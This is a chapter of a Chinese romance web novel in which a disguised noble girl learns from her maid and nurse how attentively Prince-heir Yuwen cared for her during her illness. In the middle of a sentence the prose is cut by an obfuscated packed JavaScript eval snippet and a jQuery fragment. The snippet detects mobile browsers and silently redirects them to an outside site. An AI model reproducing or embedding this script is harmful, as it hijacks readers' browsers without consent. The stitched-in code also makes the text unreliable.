若兮在一旁听着,此刻突然插了一句:
“从镇国公府大门口下马车时,有侍卫大哥要来抱您进门,柳妈妈不让。结果是宇文世子过来,亲自抱的您,柳妈妈才不敢拦着。宇文世子可是抱着您,从大门口一直走了那么老远,走到这栖羽阁,亲自把您放到这床榻中的呢。”
“亲自亲自……你这丫头,旁人以为宇文世子抱的是徐公子,你难道也以为他抱的是徐公子么?”柳妈妈扬起手往若兮头上拍了一下,嗔怪道。
若兮丫头却一脸不服的模样,显是对那宇文世子甚为推崇。
原来若兮小姑娘心性,见宇文世子高大俊朗,整个人长得有如谪仙一般,对下人又一派亲善,说话行事都是那般的雅致风流,尤其对小姐……
对小姐……啊哟,宇文世子对小姐那般光景,便是想一想都……可怎生是好!
当若兮丫头看到宇文世子爷不由分说、却又那般温柔小意地将自家小姐……不,自家公子从马车上抱下来,袍裾带风地大步走入镇国公府,把个小丫头的眼儿都看直了。
她小步快跑地跟在后面,几乎都要跟不上宇文世子爷的脚步。
便看到,小姐的小脑袋瓜晃晃悠悠地要耷拉下来,却被宇文世子爷用手臂一拢,就拢到他颈项下颌处。
他微微俯侧下脸来看着小姐时,那柔软得都能流淌起来的眼神……
将个紧跟在身后、把这动作和眼神细细密密都看在眼里的小丫头,给迷得腿儿都要酥麻得走不动道儿了,只安安静静、满脸通红地跟着,一颗心却是如同敲锣鼓般咚咚山响。
又见宇文世子爷抱着小姐走出曲廊、走入那片天井时,刺眼的阳光洒下来,宇文世子爷竟还顾着将小姐的脸儿,轻轻揉到自己的头影处,不令阳光刺到小姐那闭着的眼。
便是从那刻起,若兮丫头算是死心塌地地认准了,宇文世子爷就是这天底下顶顶好、最最有魅力、唯一配得上小姐的天字第一号梦幻郎君。
用个现代人的说法,若兮丫头便是从那一刻起,成为了徐菀音和宇文世子爷的头号死忠磕糖CP粉儿。
她可不管自家小姐在那宇文世子爷怀里的时候,到底是个女的,还是个男的。总之,宇文世子爷的眼神,是滴得出水的;宇文世子爷的怀抱,是只给了小姐一个儿的……
再等到宇文世子爷那般周到、那般体贴地,往这栖羽阁送来一箱又一箱各色物事,就连柳妈妈都感叹,即便是回到郁林徐家,就便是夫人来替小姐准备那些养病和生活所需物事,怕是也赶不上宇文世子爷的周到劲儿。
更何况,这“栖羽阁”的名字,乃是宇文世子爷亲自起的,就是为了迎小姐来住,专门布置的新院新屋、专门起的新名字。
每每想起这些,若兮丫头的心儿都要化了。
可是,最令她难受的是,她看到的、她感受到的、她被深深打动的……所有所有,她一句也不敢说!
且不说柳妈妈决不允许她这般胡想,就说那身在福中不知福的小姐……
哎,若兮丫头忍不住深深叹气,那般好命而不自知的小姐啊,你可知满京城里该有多少金枝玉叶、高门贵女,会得要死要活地羡慕你、嫉恨你啊!
可不是么!
那小姐真真是个身在福中不知福的!
当她听若兮说到,宇文世子竟然又擅作主张地抱了她!还是趁着她昏迷的时候抱了她!她狠狠地皱起了眉头,脸儿都被气白了。
徐菀音用她被气得煞白的脸儿对着若兮和柳妈妈,几乎是咬牙切齿地说:
“你们俩,从今天开始,只要看到那宇文世子靠近我,”她伸出自己的右手,平平地举在身子前方,眼儿来回看了看,丈量着自己一个胳膊的长度,“靠近到这一臂长的范围内,你们就给我拦住他,赶走他!”
一老一少两名忠仆呆立当地,被自家恶狠狠说着话的小姐惊呆了。
柳妈妈呆的是,自己如何才能实现得了小姐的吩咐?怎么可能呢?那宇文世子爷那般英武挺拔的高大身躯,哪里是自己和若兮那样的奴婢拦得住、赶得走的呢?
若兮却是满心酸楚、无可奈何,直要仰天长叹:苍天啊,自家这个任性又刁蛮的小姐,别人迎都迎不来、盼都盼不到的,她竟要将他拦住、还要赶走!这不是彻头彻尾的倒反天罡吗?
若兮却哪里知道,徐家二小姐,那日在马背上被那宇文世子又拽又抱,反着抱、正着抱,在胸膛里圈住了抱、用手臂箍紧了抱……把个骄傲的小女郎羞辱得一点儿面皮不剩,实在气恼得紧。
此刻的徐菀音甚至觉得,那日若没有被宇文世子羞辱得狠了,也许自己还不会昏迷得七荤八素、竟至一病如山倒呢。
若兮幽幽地道:“小姐,您就这般讨厌世子爷吗?”
徐菀音听若兮这语气不太对,横了她一眼,拉长了声音道:“若兮——,怎的?我不该讨厌他么?你可知那日,他竟然要将我当作俘虏抓去演练场,我……我气得差点儿……就拿袖箭射他了……”
若兮瞠目结舌:“小姐,您……又发袖箭射世子爷?您这可都是第二回射他了。”
徐菀音竟有些遗憾地道:“我说差点儿!这回,我那袖箭根本就没发出去……就被他……死死箍住了动弹不得,真的是……太欺负人了!”
一边说着,一边恨恨不已。
若兮不知死活地道:“小姐,您的小身板儿,世子爷怕是用不着死死箍着,您也动弹不得……”
“若兮!”柳妈妈赶紧捂了那小丫头的嘴。还是这老嬷嬷了解自家小姐是个好强又任性的,哪里容得了自己的小丫头胳膊肘朝外,竟然帮着个欺负过、开罪了自己的人说话。
哪知徐小姐却是个实诚的,她低头看看自己的“小身板儿”,抬抬胳膊,捏捏肩膀,心想的确如此,就便那世子爷并不如何使劲,只将自己圈在那处,便是根本动弹不得。
更是琢磨起应如何使巧劲来避免那种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665179|172970||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窘境。
又想起那日青江闻喜会上,学正大人训示的伴读职责里,每日都有弓马武课可上。心道如今比不得在父亲军中那会子,那时恐怕是人人都在哄着自己。现下自己乃是个伴读公子的身份,要实打实练出些本事来,才能过得了考核关的。
更何况,自己当了那宇文世子的伴读,若是他又拿身量和气力的差距来欺负自己,即便不再合适用袖箭来出气,如何抵抗甚至反制他一头,这番功课还是值得一做的。
却听若兮继续不知死活地道:“小姐……”却被柳妈妈瞄一眼窗外后止住,改称了“公子”后继续说,“公子,您可知,这起院子名叫栖羽阁,是世子爷新起的名儿,跟他那起院子的名字,意思合一处,才听得出世子爷对您真真好着呢。”
柳妈妈看得出,自家小姐对那宇文世子爷成见甚深,也知她气性大,然而如今身居人家屋檐之下,日后更是还需仰人鼻息、共同进退,实在不该任由误会扩大、成见加深,便忙适时地附和道:
“公子,老奴也说句公道话儿。这些日子您病着,看不见也听不着咱们在这国公府上是如何过的。那宇文世子爷真真是个厚道待人的,他那日把咱们安顿好便出京办差了,府里一应事务却是交待得又周到又细致,专门拨了人过来供咱们使唤不说,哪样吃喝用度也没有丝毫短缺。”
“那日太夫人房里的璞玉姐儿过来看您,说起咱们这院儿的名字‘栖羽’,是世子爷亲自起的。原是因为他那院名是‘青梧’俩个字,世子爷说了,公子便如那高天飞鸟儿,到了此处的‘青梧’,可好好儿地栖歇一下羽毛呢。”
若兮在一旁听着,又有些激动起来,插嘴道:“公子,似咱们这般寄人篱下,还被主人家好言好语地劝慰着,让好好儿地栖歇一下自己个儿的羽毛,歇够了,您爱飞哪还飞哪,若愿回过头来栖歇着,仍是原来那棵‘青梧’……啊哟哟,世子爷对您实在是一片赤诚,怎么您偏对他,只剩个……讨厌呢?”
徐菀音听得有些发愣,她确实还只沉浸在对宇文贽先前的那些愤恨里,并不知自己昏迷的这些日子里,那总是将自己盯看得又恼又气、还曾死死将自己箍在怀里羞辱过的宇文世子,竟如此这般做了那么些事,显是将自己的身边人都已“收买”到位了。
听她二人说起来,人家做的那些事,也的确出自真心诚意,实在不该得到自己这般的回应。
便有点讪讪的,没好气道:“我原是不知道那么些,你们既说与我知道了,不就好了么。日后我若见了他,自也会好好的。”
柳妈妈点头道:“公子您能这般想,也不枉世子爷费那么些心。听璞玉姐儿说,一则因了世子爷出京办差,又一则是您还养着病,比起其它那些公子们来,您两位的学业可都还耽误着呢。等世子爷回来,且得抓紧了补上。”
徐菀音一个激灵,想起闻喜会上听来的那许多课业任务、伴读职责,脑袋一下子便大了,皱起眉毛哎哟一声,直喊头疼。